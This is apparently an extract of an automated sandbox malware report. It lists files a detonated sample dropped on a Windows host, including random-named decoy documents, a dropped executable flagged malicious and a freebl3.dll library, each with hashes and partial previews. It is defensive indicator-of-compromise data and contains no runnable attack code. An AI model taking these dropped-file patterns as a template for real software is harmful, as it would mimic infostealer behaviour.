.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF91.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696747050749732
Encrypted:	false
SSDEEP:	96:TiZYW0VxxzBdm3YkYNGeHnYEZ0ftAiGLVclSnwY4u24OaT9XkFtMiOeHI/QZ:2ZDL3T3QEaT9XkFtMi5o/QZ
MD5:	52F44431219BA6A7E9C68AF0459D924C
SHA1:	6236AA1B94CD2DB151F7C9F32E4DC33975C8C7DC
SHA-256:	B7C1FE86E47DA1B366F421E88D69F456BCC75CF885F29F7E1C8BF7215D9CF290
SHA-512:	D06071D41BAF6225A85FBE8465D7E1A617514D79648534296A50C51E704C933FBFC69749571C151979366A26C277D639892C94B53405E651EBF7B2ABCB37D938
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBFE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89074
Entropy (8bit):	3.074836145053823
Encrypted:	false
SSDEEP:	1536:hBkXGvKURW85OoY3IwaafofPSiWSvgiOjsyWRsgLV8Wk2iM6Gl:hBkXGvKURW85OoY3IwaafofPSiWSvgi/
MD5:	D7F16AA92A2C4BAB974F320905DF1C69
SHA1:	02FDC7AF62ED3968629E65939DBD84B38AE62791
SHA-256:	2E937CD85E85F7DBD44E9DF2349A2DE995C6630EE70540A7D0930E50A64CFACD
SHA-512:	D5655CF8660D9B27FE43F9A753F536A60E93273F7D3AC6279FF805A63742DC6BC2794167ACA1409B73149197B2250107CBFE51A6188A328C7823F93FFD0B8FFA
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC6C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6963674392790007
Encrypted:	false
SSDEEP:	96:TiZYW0Ka32xqkNRCBYlY5GrPH0YEZo9tAiw4olSmwfJYMaK9HDMMOesINQZ:2ZDwdyVHvaK9jMM5rNQZ
MD5:	270AE08E4BE9A533E655E33D1DA4ED0D
SHA1:	35E459C42066674763F59D8F98AA6212D2C64B6D
SHA-256:	D268926AC844C5CB0C7A91039363322F4033A211985259DB30C420E8758BAAAD
SHA-512:	4C4C53FD455260B647C954B3E16DEB59D4B1F8B37650D64349D19A3E0B5E29023C5F173E3BE587AC93E9711EDD6EFB37BD55E253763678D7FBD711FCD17510A5
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF4B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89092
Entropy (8bit):	3.074819358182788
Encrypted:	false
SSDEEP:	1536:yuKkHGvFxRW85boY3IlaifofPSiFsr7iOjsyWRsgLVwWktiI0mr:yuKkHGvFxRW85boY3IlaifofPSiFsr7R
MD5:	4372CCC592BFE0F1DEFF342C46C32000
SHA1:	ACE073DA6B692F5487DCBE6D6487F86498E48EED
SHA-256:	1BD531E6211CBAFCF6F6AF582FD4C3E131D90E54B750A2746D5D180A836B80F6
SHA-512:	DCFF6962699CBE9FCCC03DA8484A5B6252495E0EEE6AD1D821DFE1428C9454558AC9F1CD3FE77BB21F751BFF4E825B6F4D20BC43675F6705D58BD92C6E32313B
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFBA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6966741652046093
Encrypted:	false
SSDEEP:	96:TiZYW0BxyZH1SeHYtYmoGuaHnYEZIYmtAiI4slSkwbqMRRap9Z2M6aOe2INQZ:2ZD919KZ8JXap9IM6a5xNQZ
MD5:	DDFD1747691FE6E8609AD09386D9AEAE
SHA1:	4886C955A3190E11E309A24C7281B7F972992107
SHA-256:	F71068F3FBEA79AD07892D2C63DDBD924E65C0AE2300F32354B2826E0787BB3F
SHA-512:	C563F737B9F06CEA40A469CB589B9D55D151578F436C95724F479CFB90D2E56A0280C4C594C8E5D9FFE47541B5871957850C01D3B8C2E1CC3A390BE38DAEE1A6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	modified
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\ProgramData\ObjectSerialization65\ObjectSerialization65.exe

Download File

Process:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3047424
Entropy (8bit):	6.876980552165079
Encrypted:	false
SSDEEP:	49152:ubxuBXjA7pOxwz1HCBCvWV3BE1G89lHdXCkdC7EVUgKcAWg5t:exeYka7WVBEk89lHdXCkdQEdA
MD5:	29DEB5EE2C07F1E8660E10AB6E4A0966
SHA1:	CE8D68341F3A150E0AE4F26BCE649E505F766A5D
SHA-256:	EC88B7D9AAB10E45DC4AC1AAFFA5D9DA9BF2E368580BDDF16F0DDE301E97B43F
SHA-512:	4D3E6117EA337CA5902CC4E19C99C82A177AB889412E58BFF59B88B348D5589EA3AA10E48878C14DF80276C79FF43D6A15D893E1C53C9888FDD7BDD746D3435B
Malicious:	true
Joe Sandbox View:	Filename: e5eFd2bt37.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..>=.um=.um=.umR.~m<.um..{m).umR..mw.um=.tm6.um_.fm(.um..~m<.um..sm<.umRich=.um................PE..L....f.e.............................A............@..................................................................................0 ..i..............................................................................<............................text...:...........................`....rdata..\".......0..................@..@.data...XT.......@..................@....rsrc....p...0 ..p.... .............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\PWCCAWLGRE.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\ProgramData\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\ProgramData\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: e5eFd2bt37.exe, Detection: malicious, Browse Filename: OPnywcBrh6.exe, Detection: malicious, Browse Filename: 3vEtFxRJ9c.exe, Detection: malicious, Browse Filename: 1fXeff6C8A.exe, Detection: malicious, Browse Filename: hqsQzin1r6.exe, Detection: malicious, Browse Filename: Sq5JZYYFPc.exe, Detection: malicious, Browse Filename: AcQProLwJ1.exe, Detection: malicious, Browse Filename: 29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6.exe, Detection: malicious, Browse Filename: JH3jlkObxF.exe, Detection: malicious, Browse Filename: cl51g5w2Bg.exe, Detection: malicious, Browse
